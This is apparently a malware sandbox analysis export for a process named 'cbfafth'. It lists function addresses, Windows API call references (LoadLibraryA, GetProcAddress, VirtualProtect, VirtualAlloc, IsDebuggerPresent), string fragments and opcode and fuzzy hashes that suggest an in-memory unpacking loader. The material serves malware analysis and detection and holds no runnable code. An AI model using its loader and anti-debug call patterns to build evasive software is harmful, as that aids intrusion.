Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 294c4c10f1df6ab94d52c7cd418ead91fcb603e7149de7d97bc462a5b17e3d8a
Instruction ID: 7126e308859f0ce1c6b4050673f9ae1b9f77b39abb9b03bec9f7032c2852e028
Opcode Fuzzy Hash: 294c4c10f1df6ab94d52c7cd418ead91fcb603e7149de7d97bc462a5b17e3d8a
Instruction Fuzzy Hash: 66216B70A00204EEDF34DFA4ED55BEA3768AB08314F52423AE506862D4D7789D86CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00417864, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004178D8
__aullrem.LIBCMT ref: 00417AA5
__aulldiv.LIBCMT ref: 00417AC7

Strings

0, xrefs: 00417893
9, xrefs: 00417AD8

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 2677164a7a633ad5278894a5af18f2453237414b0685f578549036b929b8c00f
Instruction ID: 749149de6893be0996ffa82a407ef8fcfcf87c9a9517882edb44c7ec0defa180
Opcode Fuzzy Hash: 2677164a7a633ad5278894a5af18f2453237414b0685f578549036b929b8c00f
Instruction Fuzzy Hash: 4E41E3B1D19229DFEB24CF48C889BEEB7B5BF44304F14819AD049A7240C7385E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00418BE9, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00418C50
__aullrem.LIBCMT ref: 00418E20
__aulldiv.LIBCMT ref: 00418E42

Strings

', xrefs: 00418BE9
9, xrefs: 00418E53

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 119100b607e6e860e975bdd697021817804f96d02f9e89e45de345d87632f654
Instruction ID: e559e0408a3b22932721b0ec528d1a84c7ba86252a79e4a4260dce9935fc135c
Opcode Fuzzy Hash: 119100b607e6e860e975bdd697021817804f96d02f9e89e45de345d87632f654
Instruction Fuzzy Hash: 6B4107B1A102299FDB24CF48D841BEEB7B5FF95314F1040AAD148A7281DB385EC5CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00418BD6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00418C50
__aullrem.LIBCMT ref: 00418E20
__aulldiv.LIBCMT ref: 00418E42

Strings

9, xrefs: 00418E53

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 1afb4bcd2a8b64571e68dff2a419f8c9857849ae7964f0c51f12d53c58e3c790
Instruction ID: 57268965537ffc1b451240c3272641330304945dbf991aa7e7390610e71dc2f2
Opcode Fuzzy Hash: 1afb4bcd2a8b64571e68dff2a419f8c9857849ae7964f0c51f12d53c58e3c790
Instruction Fuzzy Hash: 004106B1A102299FDB24CF48D841BEEB7B5BF95314F1040AAD148A7281DB785EC5CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00418C24, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00418C50
__aullrem.LIBCMT ref: 00418E20
__aulldiv.LIBCMT ref: 00418E42

Strings

9, xrefs: 00418E53

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 80741928692c1c13a241add8af3e7276a36b23652ebebd88ff625853cd04e422
Instruction ID: b86ace904b8c8cd4c6a9aae006ce7c0fd7c700a9001985852b78a569a7887de6
Opcode Fuzzy Hash: 80741928692c1c13a241add8af3e7276a36b23652ebebd88ff625853cd04e422
Instruction Fuzzy Hash: FB4106B1A102299FDB24CF48D881BEEB7B5FF95314F1041AAD148A7241CB385E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004178AC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004178D8
__aullrem.LIBCMT ref: 00417AA5
__aulldiv.LIBCMT ref: 00417AC7

Strings

9, xrefs: 00417AD8

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: fcc0469be70c3ebdbcf5e8b42b2624cbb20c901f6553e5eb1db8ec7caf864863
Instruction ID: 2ad69fe8d76282b9972324db738ce5965efdfc7bb6007689f683ea03d4e58ed0
Opcode Fuzzy Hash: fcc0469be70c3ebdbcf5e8b42b2624cbb20c901f6553e5eb1db8ec7caf864863
Instruction Fuzzy Hash: 1A41B2B1D19629DFEB24CF59C889BEEB7B5BF84304F1085AAE049A7240D7385E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041785B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004178D8
_get_int64_arg.LIBCMTD ref: 00417900
__aullrem.LIBCMT ref: 00417AA5
__aulldiv.LIBCMT ref: 00417AC7

Strings

9, xrefs: 00417AD8

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 58934d521564f8e3f2e1df2c86d583b88d190a7b5107e0bc4e4b0266ce7c2b61
Instruction ID: a3d8c0693805900b1787355dbe25ed8e36afd46147ff8ba80d61cc85b91ab823
Opcode Fuzzy Hash: 58934d521564f8e3f2e1df2c86d583b88d190a7b5107e0bc4e4b0266ce7c2b61
Instruction Fuzzy Hash: CE41C2B1D19229DFEB24CF58C889BEEB7B5BB44304F20859AE009A7240D7385E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00418BCD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00418C50
_get_int64_arg.LIBCMTD ref: 00418C78
__aullrem.LIBCMT ref: 00418E20
__aulldiv.LIBCMT ref: 00418E42

Strings

9, xrefs: 00418E53

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 9dc24f7897281b078b378462afffa43775681a2147b0b8603a23f75d7f37cb84
Instruction ID: 2b2bd0302c8411d54dd0866dc96e847b9e5f6a92f6f3b9847bc6ab2d8c1d53b2
Opcode Fuzzy Hash: 9dc24f7897281b078b378462afffa43775681a2147b0b8603a23f75d7f37cb84
Instruction Fuzzy Hash: 1E41F4B1A102299FDB24CF48D981BDEB7B5FF95314F1041AAE248A7241DB385EC1CF5A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cbfafth PID: 5836 Parent PID: 1104 cbfafthCOMMON

Executed Functions

Function 00401995, Relevance: 3.1, APIs: 2, Instructions: 52sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000012.00000002.369823745.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1f7d92f130acbb62080e1447c1d69e0409f9beba467cd9eefcd93bc44a4b095d
Instruction ID: 2ba8d485649ef9dc555f469e2d9c6b56d1050b598c7c2bb426bbb3a3204dd29a
Opcode Fuzzy Hash: 1f7d92f130acbb62080e1447c1d69e0409f9beba467cd9eefcd93bc44a4b095d
Instruction Fuzzy Hash: 9901F7B1308104FBDB016A948D51EBA3229AB04350F200537B643B80F1C57D9512AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004019A1, Relevance: 3.0, APIs: 2, Instructions: 46sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000012.00000002.369823745.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a3818a9fb474ba3e2fa5a9c52f930498e3002708ef1275743318c44ebc51d0b7
Instruction ID: 9ecdec514cf71f5eeb304a1e2f202b265b0d51b5f31dfdf67d95f392e824f2cf
Opcode Fuzzy Hash: a3818a9fb474ba3e2fa5a9c52f930498e3002708ef1275743318c44ebc51d0b7
Instruction Fuzzy Hash: 45F0D1B2304145FADB019F848D91EAE3225AB04351F200977F753B80F1C53D8512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004019AD, Relevance: 3.0, APIs: 2, Instructions: 42sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000012.00000002.369823745.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 8cb8b8be6d17ab2250887b07254eaf4f81bb67d327a7255147a4b54465256ab5
Instruction ID: c9128524272919db4071d016e368c832c930b36d74f35c43d3039e04d983ac6b
Opcode Fuzzy Hash: 8cb8b8be6d17ab2250887b07254eaf4f81bb67d327a7255147a4b54465256ab5
Instruction Fuzzy Hash: ADF0C272304244FBDB01AF948DA1EAE3265AB44355F204977B753B80F1CA7DC512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004019C0, Relevance: 3.0, APIs: 2, Instructions: 41sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000012.00000002.369823745.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 26df2dfdac8eaf934e06000df82d7820be29502094e8d8ce89c2033723ec3c78
Instruction ID: 77f4f58ad70177de11a0d2c10a1031ab6784e6ffca1e9eb20b8bff71da297da0
Opcode Fuzzy Hash: 26df2dfdac8eaf934e06000df82d7820be29502094e8d8ce89c2033723ec3c78
Instruction Fuzzy Hash: FCF0C272304205FBDB01AE94CD91EAE3325AB44315F204977B603B80F1CA3D8512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 0041C240, Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 274librarymemorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00437A48), ref: 0041C25E
GetFileSizeEx.KERNEL32(00000000,00000000), ref: 0041C2C9
SetCommState.KERNEL32(00000000,?), ref: 0041C387
PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C3BE
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C3CC
GetNativeSystemInfo.KERNEL32(00000000), ref: 0041C3D4
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C3E2
GetLastError.KERNEL32 ref: 0041C414
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 0041C428
InterlockedIncrement.KERNEL32(?), ref: 0041C46F
LoadLibraryA.KERNEL32(00423E30), ref: 0041C4CD
GlobalUnWire.KERNEL32(00000000), ref: 0041C4D5
GetBinaryType.KERNEL32(00000000,?), ref: 0041C51E
HeapWalk.KERNEL32(00000000,00000000), ref: 0041C528
WriteProfileStringA.KERNEL32(00423E58,00423E44,00423E3C), ref: 0041C53D
EnumResourceNamesA.KERNEL32(00000000,00423E60,00000000,00000000), ref: 0041C583
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041C58B
OpenSemaphoreW.KERNEL32(00000000,00000000,00423E9C), ref: 0041C5BC
SetLocalTime.KERNEL32(00000000), ref: 0041C5C4
WriteProfileSectionA.KERNEL32(00423ECC,00423EBC), ref: 0041C60B
AddRefActCtx.KERNEL32(00000000), ref: 0041C622
FatalAppExitW.KERNEL32(00000000,00423EE0), ref: 0041C62F
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 0041C64E
InterlockedDecrement.KERNEL32(?), ref: 0041C65B
FindAtomW.KERNEL32(00423EFC), ref: 0041C69E
GetThreadContext.KERNEL32(00000000,00000000), ref: 0041C6A8
OpenMutexA.KERNEL32(00000000,00000000,00423F20), ref: 0041C6B7
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041C708
CopyFileExA.KERNEL32(00423F60,00423F3C,00000000,00000000,00000000,00000000), ref: 0041C720

Strings

onI, xrefs: 0041C492
&Pc, xrefs: 0041C6CB
";, xrefs: 0041C591
kanumel, xrefs: 0041C26F
Pc, xrefs: 0041C672

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: CompletionConsoleFileInterlockedOpenProfileWrite$AliasesAtomBinaryCommContextCopyCreateDecrementEnumEnvironmentErrorExitFatalFindFreeGlobalHeapIncrementInfoLastLengthLibraryLoadLocalModeMutexNamesNativeOverlappedPortPostQueuedResourceResultSectionSemaphoreSizeStateStatusStringStringsSystemThreadTimeTypeUnregisterWaitWalkWirelstrlen
String ID: ";$&Pc$Pc$kanumel$onI
API String ID: 4148274006-1908053154
Opcode ID: d3c4d1736f71312976acdb68af754af1530c87d94caba72d93ce8df61b28b701
Instruction ID: 57b622b19db1591d218f394cfadead058171df098c2f5b79bcd610cd69e539a6
Opcode Fuzzy Hash: d3c4d1736f71312976acdb68af754af1530c87d94caba72d93ce8df61b28b701
Instruction Fuzzy Hash: 68C154B0E84214DBDB649F50ED8A7E977F0BB08709F10C49AE14965180CBB95AC5CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 0041AF20, Relevance: 37.1, APIs: 3, Strings: 18, Instructions: 324librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00423DA0), ref: 0041AF58
GetProcAddress.KERNEL32(0239C368,00437A48), ref: 0041B90B
VirtualProtect.KERNELBASE(023944B0,0239C36C,00000040,?), ref: 0041B92F

Strings

v;M, xrefs: 0041B731
2h, xrefs: 0041B68B
snkr, xrefs: 0041B7ED
]k;z, xrefs: 0041B560
Yh, xrefs: 0041B025
-tIO, xrefs: 0041B5CF
%&C, xrefs: 0041B347
M{h, xrefs: 0041B36F
8j/, xrefs: 0041AFA3
G6~0, xrefs: 0041B186
T^Yu, xrefs: 0041B237
U!8, xrefs: 0041AFD5
QB4, xrefs: 0041AFDF
@, xrefs: 0041B878
L|j, xrefs: 0041B77E
25r3, xrefs: 0041B465
=Mbt, xrefs: 0041B841
QGk , xrefs: 0041B46F

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AddressLibraryLoadProcProtectVirtual
String ID: 8j/$ %&C$-tIO$25r3$2h$=Mbt$@$G6~0$M{h$QB4$QGk $T^Yu$U!8$Yh$]k;z$snkr$L|j$v;M
API String ID: 3509694964-3870779105
Opcode ID: 7d6698b2d5ed5f8bdaa6780e2c36c0d11c124dad1bc2de59968120dc51587933
Instruction ID: 01170d5283fa028dd93e6c2c03073e8eab92a5b3f5f2e51831a3a035ff4b1c6d
Opcode Fuzzy Hash: 7d6698b2d5ed5f8bdaa6780e2c36c0d11c124dad1bc2de59968120dc51587933
Instruction Fuzzy Hash: 6D32DBB4D063A8CFDB64DFA6A9897CDBB70BB05304F6082C8D5892B611CB354AC5CF46

Uniqueness

Uniqueness Score: -1.00%

Function 023B003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 023B024D

Strings

cess, xrefs: 023B018D
kernel32.dll, xrefs: 023B008F, 023B0095

Memory Dump Source

Source File: 00000012.00000002.370141950.00000000023B0000.00000040.00000001.sdmp, Offset: 023B0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 09cf0a5019d7b06e44e0a66d1b66b094ff4147c2ae5d72a7755018a1a253aa90
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 82527A74A00229DFDB65CF68C984BADBBB1BF09304F1480D9E94DAB751DB30AA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 023B0DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,023B0223,?,?), ref: 023B0E02
SetErrorMode.KERNELBASE(00000000,?,?,023B0223,?,?), ref: 023B0E07

Memory Dump Source

Source File: 00000012.00000002.370141950.00000000023B0000.00000040.00000001.sdmp, Offset: 023B0000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 9a6c719b85be096d6390fa0e8ff32d42b237694811926463236c3ac63a242bad
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: FBD0123624522CB7DB012E94DC09BCEBB1C9F05BAAF008021FB0DE9581CBB09A4046FA

Uniqueness

Uniqueness Score: -1.00%

Function 0041AF00, Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,0239C36C), ref: 0041AF0B

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: ffaafb091db2eed7fcbeec47d157ee003a0352873c8f354b5c509dc1a319182d
Instruction ID: 3558af269f83943a1951118a118c912a9d6325b8eaba3022ae50e5718538b36d
Opcode Fuzzy Hash: ffaafb091db2eed7fcbeec47d157ee003a0352873c8f354b5c509dc1a319182d
Instruction Fuzzy Hash: 20C09BF19883045FD240DBD5BC45B1537ECF30EB09F004451F60983240D76664118655

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040C120, Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041181D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00411834
UnhandledExceptionFilter.KERNEL32(00422720), ref: 0041183F
GetCurrentProcess.KERNEL32(C0000409), ref: 0041185D
TerminateProcess.KERNEL32(00000000), ref: 00411864

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: ed39801053e643c4838d4b74d2aaf65e6df6dee3842f44daf52c90f2a118c6e8
Instruction ID: 01261ec35a8557af1344fa58cc79e5d764b858bc44e418158d1e3d2aa5e1043f
Opcode Fuzzy Hash: ed39801053e643c4838d4b74d2aaf65e6df6dee3842f44daf52c90f2a118c6e8
Instruction Fuzzy Hash: DE21EFF89093089BE320DF29FD856443BE0FB18324F60707AE98986361E7756985CF8D

Uniqueness

Uniqueness Score: -1.00%

Function 00417849, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004178D8
_get_int64_arg.LIBCMTD ref: 00417900
__aullrem.LIBCMT ref: 00417AA5
__aulldiv.LIBCMT ref: 00417AC7
_write_multi_char.LIBCMTD ref: 00417BCE
_write_string.LIBCMTD ref: 00417BE9
_write_multi_char.LIBCMTD ref: 00417C15

Strings

-, xrefs: 00417B6E
9, xrefs: 00417AD8

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_write_string
String ID: -$9
API String ID: 1652289597-1631151375
Opcode ID: 574e1bd6c73d2cf2220f040774c86f7932774e991c59649c4b2b6e00b4b56a41
Instruction ID: 3ca3287828761843b5c80f611c147faaeea1e92200cdd5604698f31dd8624877
Opcode Fuzzy Hash: 574e1bd6c73d2cf2220f040774c86f7932774e991c59649c4b2b6e00b4b56a41
Instruction Fuzzy Hash: 31F118B1D092299FDB24CF58CC89BEEB7B5BB44304F14819AE409A7281D7789EC4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00418BBB, Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00418C50
_get_int64_arg.LIBCMTD ref: 00418C78
__aullrem.LIBCMT ref: 00418E20
__aulldiv.LIBCMT ref: 00418E42
_write_multi_char.LIBCMTD ref: 00418F5B
_write_string.LIBCMTD ref: 00418F76
_write_multi_char.LIBCMTD ref: 00418FA2
__mbtowc_l.LIBCMTD ref: 00419011

Strings

9, xrefs: 00418E53

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: b651b247ab78b2203397d17683900a37c351c18bafc05badee9e12615d3a554e
Instruction ID: 5d377cef2ab8f3b49fd69aecc9819825d3dfd461b325e4090fa65a6122d15ea4
Opcode Fuzzy Hash: b651b247ab78b2203397d17683900a37c351c18bafc05badee9e12615d3a554e
Instruction Fuzzy Hash: 61F119B1E002299FDB24CF55CC91BEEB7B5BB89304F14419AE609A7281D7389EC4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041B960, Relevance: 19.6, APIs: 13, Instructions: 65librarytimethreadCOMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,?), ref: 0041B984
LoadLibraryA.KERNEL32(00423CE0), ref: 0041B98F
GetModuleHandleA.KERNEL32(00423CF4), ref: 0041B99A
FileTimeToDosDateTime.KERNEL32(00000000,00000000,00000000), ref: 0041B9A6
GetVersionExW.KERNEL32(?), ref: 0041B9B3
VerifyVersionInfoW.KERNEL32(?,00000000,00000000,00000000), ref: 0041B9C6
OpenWaitableTimerA.KERNEL32(00000000,00000000,00423D04), ref: 0041B9D5
GetCurrentThreadId.KERNEL32 ref: 0041B9DB
CreateDirectoryW.KERNEL32(00423D18,00000000), ref: 0041B9E8
LoadLibraryA.KERNEL32(00000000), ref: 0041B9F0
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00423D58), ref: 0041BA01
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041BA09
CompareStringA.KERNEL32(00000000,00000000,00423D88,00000000,00423D6C,00000000), ref: 0041BA21

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: CreateLibraryLoadTimeVersion$CompareComputerCurrentDateDirectoryEnvironmentFileFreeHandleInfoModuleNameOpenSemaphoreStringStringsThreadTimerVerifyWaitable
String ID:
API String ID: 727335459-0
Opcode ID: 50358580224830b25222301c2e29435b4b1eee92a7af0a98eb5dd13172cc70d6
Instruction ID: 41729aa8967ad499f4176d75bd84ebb299bc23cb11c22e9f1d140edb8211f3ff
Opcode Fuzzy Hash: 50358580224830b25222301c2e29435b4b1eee92a7af0a98eb5dd13172cc70d6
Instruction Fuzzy Hash: 6421FF75B84314BFD7509FA0ED0AFC87B74AB0DB0AF208065F705A61D0C6B86655CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041C040, Relevance: 18.1, APIs: 12, Instructions: 84memorypipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0041C06C
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 0041C082
WriteProfileSectionA.KERNEL32(00423DC4,00423DB0), ref: 0041C092
VirtualAlloc.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C0AC
GetSystemWindowsDirectoryW.KERNEL32(?,00000800), ref: 0041C0BE
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 0041C0CF
GetCommandLineA.KERNEL32 ref: 0041C0D5
GetStartupInfoA.KERNEL32(00000000), ref: 0041C0DD
InterlockedDecrement.KERNEL32(?), ref: 0041C141
WaitNamedPipeW.KERNEL32(00423DE0,00000000), ref: 0041C14E
SetCurrentDirectoryW.KERNEL32(00000000), ref: 0041C156
HeapWalk.KERNEL32(00000000,00000000), ref: 0041C1A6

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Info$Directory$AllocCommandConsoleCountCurrentCursorDecrementHeapInterlockedLineNamedPipeProfileSectionStartupSystemTickVirtualWaitWalkWindowsWrite
String ID:
API String ID: 3988981641-0
Opcode ID: 841b20869f25a57ec3b486cda27a59edb303fd584e8245ba2164a270aa7df40b
Instruction ID: e23e704d2a742acb664f6580ea8788c9b0c4fdb569b6fb0ed3f7b46376448f0e
Opcode Fuzzy Hash: 841b20869f25a57ec3b486cda27a59edb303fd584e8245ba2164a270aa7df40b
Instruction Fuzzy Hash: 933163B0DC5214EBEB209FA0ED49BD97B74BB0970AF10849AF20955182C7BD5A81DF1D

Uniqueness

Uniqueness Score: -1.00%

Function 0041C1B5, Relevance: 13.5, APIs: 9, Instructions: 40libraryloaderthreadCOMMON

Download Yara Rule

APIs

SetThreadAffinityMask.KERNEL32(00000000,00000000), ref: 0041C1C4
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041C1CE
SetConsoleMode.KERNEL32(00000000,?), ref: 0041C1DD
IsDBCSLeadByte.KERNEL32(00000000), ref: 0041C1E5
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041C1EF
GetComputerNameA.KERNEL32(00423DF8,00000000), ref: 0041C1FC
LCMapStringW.KERNEL32(00000000,00000000,00423E04,00000000,?,00000000), ref: 0041C216
InterlockedDecrement.KERNEL32(?), ref: 0041C223
TlsSetValue.KERNEL32(00000000,00000000), ref: 0041C22D

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AddressAffinityByteComputerConsoleDecrementInterlockedLeadMaskModeNameProcProcessStringTerminateThreadValue
String ID:
API String ID: 2216846893-0
Opcode ID: 72f78f3699f6e34b9644f588d1719a4d70ffecc9196f84d13785f532bbad93cb
Instruction ID: 9adfe44f190d06a2fe97b997b176a2ed97097f633626ad501b281aa8ddd0e4ef
Opcode Fuzzy Hash: 72f78f3699f6e34b9644f588d1719a4d70ffecc9196f84d13785f532bbad93cb
Instruction Fuzzy Hash: 0801E1B1B84314BBE7645BA0AC0BFD93B74BB0DB0AF248055F7099D0D0DAA455458B6D

Uniqueness

Uniqueness Score: -1.00%

Function 004175A7, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 004175AB
__get_printf_count_output.LIBCMTD ref: 004175B9
_write_multi_char.LIBCMTD ref: 00417BCE
_write_string.LIBCMTD ref: 00417BE9
_write_multi_char.LIBCMTD ref: 00417C15

Strings

-, xrefs: 00417B6E

Memory Dump Source

Source File: 00000012.00000002.369835060.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__get_printf_count_output_get_int_arg_write_string
String ID: -
API String ID: 1223885382-2547889144
Opcode ID: cfb8dd0cb58066c22db3823f5eb372aa595b7365271ca1e35cb99c6482327fcb
Instruction ID: e358f590372ce615a0e1b0f60b28fc2c4243294226f67c700bfd805d9705e13b
Opcode Fuzzy Hash: cfb8dd0cb58066c22db3823f5eb372aa595b7365271ca1e35cb99c6482327fcb
Instruction Fuzzy Hash: 4BA17FB0E052289BDF24DF54CC89BEEB7B1AB44304F2481DAE5197A281D7789EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041891A, Relevance: 10.7, APIs: 7, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0041891E
__get_printf_count_output.LIBCMTD ref: 0041892C
_write_multi_char.LIBCMTD ref: 00418F5B
_write_string.LIBCMTD ref: 00418F76
